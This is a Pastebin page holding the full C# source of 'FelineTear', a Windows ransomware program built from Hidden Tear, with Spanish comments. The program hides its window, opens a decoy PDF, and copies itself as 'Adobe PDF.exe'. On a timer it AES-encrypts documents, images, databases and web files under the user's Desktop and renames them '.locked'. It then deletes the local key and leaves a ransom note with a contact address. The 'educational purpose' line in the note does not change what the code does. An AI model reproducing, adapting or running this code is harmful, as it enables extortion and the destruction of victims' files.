Advertisement
Guest User

FelineTear - Form1.cs

a guest
Oct 31st, 2016
298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 8.87 KB | None | 0 0
  1. /*
  2. *  _________                             ________        __________                      
  3. * \_   ___ \  ____  ___________    _____\______ \   ____\______   \__ __  _____ _____  
  4. * /    \  \/ /  _ \/  ___/\__  \  /  ___/|    |  \_/ __ \|     ___/  |  \/     \\__  \  
  5. * \     \___(  <_> )___ \  / __ \_\___ \ |    `   \  ___/|    |   |  |  /  Y Y  \/ __ \_
  6. *  \______  /\____/____  >(____  /____  >_______  /\___  >____|   |____/|__|_|  (____  /
  7. *         \/           \/      \/     \/        \/     \/                     \/     \/
  8. * https://cosasdepuma.wordpress.com/                             thanx 2 Utku Sen(Jani)
  9. *
  10. */
  11.  
  12. //importamos las librerías necesarias
  13. using System;
  14. using System.Diagnostics;
  15. using System.Linq;
  16. using System.Text;
  17. using System.Windows.Forms;
  18. using System.Security.Cryptography;
  19. using System.IO;
  20.  
  21. namespace FelineTear
  22. {
  23.     public partial class Form1 : Form
  24.     {
  25.         //conseguimos el nombre del User en Windows, el nombre de su ordenador y
  26.         //la dirección de la carpeta Users
  27.         string userName = Environment.UserName;
  28.         string computerName = System.Environment.MachineName.ToString();
  29.         string userDir = "C:\\Users\\";
  30.         //creamos el nombre de la llave de desencriptación por si lo ejecutamos desde
  31.         //PC o desde USB
  32.         string usbKey = "key.txt";
  33.         string pcKey = "\\winsys.txt";
  34.  
  35.         public Form1()
  36.         {
  37.             InitializeComponent();
  38.         }
  39.  
  40.         //creamos la subrutina para cuando iniciemos el programa
  41.         private void Form1_Load(object sender, EventArgs e)
  42.         {
  43.             //cambiamos los parámetros del formulario para que no se vea
  44.             this.Opacity = 0;
  45.             this.Visible = false;
  46.             this.ShowInTaskbar = false;
  47.             //definimos la ruta donde se va a guardar la contraseña en el PC
  48.             string pcKeyDir = userDir + userName + pcKey;
  49.             //definimos la ruta y el nombre donde se copiará nuestro ransomware
  50.             string ransom = userDir + userName + "\\Adobe PDF.exe";
  51.             //si el programa se ejecuta por primera vez...
  52.             if (File.Exists(pcKeyDir) == false)
  53.             {
  54.                 //mostramos un pdf cebo que previamente hayamos colocado en la
  55.                 //carpeta del ransomware y lo hayamos renombrado como "data.pdf"
  56.                 System.Diagnostics.Process.Start("data.pdf");
  57.                 //creamos la contraseña de cifrado y la guardamos
  58.                 string key = createKey(15);
  59.                 SaveKey(key);
  60.                 //copiamos el ransomware y lo ejecutamos
  61.                 File.Copy(Application.ExecutablePath, ransom);
  62.                 Process.Start(ransom);
  63.                 //cerramos este programa
  64.                 System.Windows.Forms.Application.Exit();
  65.             }
  66.             //si el programa se ejecuta por segunda vez...
  67.             else
  68.             {
  69.                 //el programa esperará un tiempo para encriptar los archivos
  70.                 time.Enabled = true;
  71.             }
  72.         }
  73.  
  74.         //creamos la subrutina para cuando mostremos el programa
  75.         private void Form_Shown(object sender, EventArgs e)
  76.         {
  77.             //cambiamos los parámetros del formulario para que no se vea
  78.             this.Opacity = 0;
  79.             this.Visible = false;
  80.             this.ShowInTaskbar = false;
  81.         }
  82.  
  83.         /** ESTE ALGORITMO ES EL PROPIO DE HIDDEN TEAR TAL CUAL */
  84.         //AES encryption algorithm
  85.         public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
  86.         {
  87.             byte[] encryptedBytes = null;
  88.             byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
  89.             using (MemoryStream ms = new MemoryStream())
  90.             {
  91.                 using (RijndaelManaged AES = new RijndaelManaged())
  92.                 {
  93.                     AES.KeySize = 256;
  94.                     AES.BlockSize = 128;
  95.  
  96.                     var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
  97.                     AES.Key = key.GetBytes(AES.KeySize / 8);
  98.                     AES.IV = key.GetBytes(AES.BlockSize / 8);
  99.  
  100.                     AES.Mode = CipherMode.CBC;
  101.  
  102.                     using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
  103.                     {
  104.                         cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
  105.                         cs.Close();
  106.                     }
  107.                     encryptedBytes = ms.ToArray();
  108.                 }
  109.             }
  110.  
  111.             return encryptedBytes;
  112.         }
  113.         /** FIN DEL ALGORITMO DE HIDDEN TEAR */
  114.  
  115.         //creamos la función que genera la llave
  116.         public string createKey(int length)
  117.         {
  118.             //definimos todos los caracteres que puede tener la clave
  119.             const string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
  120.             //definimos todo lo necesario para poder generarlas aleatoriamente
  121.             StringBuilder key = new StringBuilder();
  122.             Random rnd = new Random();
  123.             //creamos un bucle que vaya generando la llave de extensión lenght y
  124.             //con los caracteres chars
  125.             while (0 < length--)
  126.             {
  127.                 key.Append(chars[rnd.Next(chars.Length)]);
  128.             }
  129.             //devolvemos la llave
  130.             return key.ToString();
  131.         }
  132.  
  133.         //creamos la subrutina para guardar la contraseña
  134.         public void SaveKey(string key)
  135.         {
  136.             //guardamos el nombre del PC, el usuario y la key
  137.             string keyID = computerName + "-" + userName + " " + key;
  138.             //guardamos los datos en el PC y en el USB
  139.             string pcPath = userDir + userName + pcKey;
  140.             System.IO.File.WriteAllText(usbKey, keyID);
  141.             System.IO.File.WriteAllText(pcPath, key);
  142.         }
  143.  
  144.         /** SUBRUTINAS DE ENCRIPTACION DE HIDDEN TEAR */
  145.         //Encrypts single file
  146.         public void EncryptFile(string file, string password)
  147.         {
  148.  
  149.             byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
  150.             byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
  151.  
  152.             // Hash the password with SHA256
  153.             passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
  154.  
  155.             byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
  156.  
  157.             File.WriteAllBytes(file, bytesEncrypted);
  158.             System.IO.File.Move(file, file + ".locked");
  159.         }
  160.  
  161.         //encrypts target directory
  162.         public void encryptDirectory(string location, string password)
  163.         {
  164.             //extensions to be encrypt
  165.             var validExtensions = new[]
  166.             {
  167.                 ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
  168.             };
  169.  
  170.             string[] files = Directory.GetFiles(location);
  171.             string[] childDirectories = Directory.GetDirectories(location);
  172.             for (int i = 0; i < files.Length; i++)
  173.             {
  174.                 string extension = Path.GetExtension(files[i]);
  175.                 if (validExtensions.Contains(extension))
  176.                 {
  177.                     EncryptFile(files[i], password);
  178.                 }
  179.             }
  180.             for (int i = 0; i < childDirectories.Length; i++)
  181.             {
  182.                 encryptDirectory(childDirectories[i], password);
  183.             }
  184.         }
  185.         //starts encryption action
  186.         public void startAction()
  187.         {
  188.             string passwordPath = userDir + userName + pcKey;
  189.             string password = File.ReadAllText(passwordPath);
  190.             string path = "\\Desktop";
  191.             string startPath = userDir + userName + path;
  192.             encryptDirectory(startPath, password);
  193.             messageCreator();
  194.             password = null;
  195.             File.WriteAllText(passwordPath, String.Empty);
  196.             File.Delete(passwordPath);
  197.             System.Windows.Forms.Application.Exit();
  198.         }
  199.         /** FIN DE SUB DE ENCRIPTACION DE HIDDEN TEAR */
  200.  
  201.         //creamos un mensaje de rescate en el Escritorio
  202.         public void messageCreator()
  203.         {
  204.             string dir = "\\Desktop\\U HAVE BEEN INFECTED!.txt";
  205.             string fullDir = userDir + userName + dir;
  206.             string[] text = { "Files has been encrypted with Feline Tear based on Hidden Tear", "Please, contact with me: ransomware@yopmail.com", "I only need a piece of pizza. Also you can ask the key", "Feline Tear is only for educational purpose! If you have been infected by another person, please, contact me!" };
  207.             System.IO.File.WriteAllLines(fullDir, text);
  208.         }
  209.  
  210.         //creamos la subrutina para el cronómetro
  211.         private void time_Tick(object sender, EventArgs e)
  212.         {
  213.             startAction();
  214.         }
  215.     }
  216. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement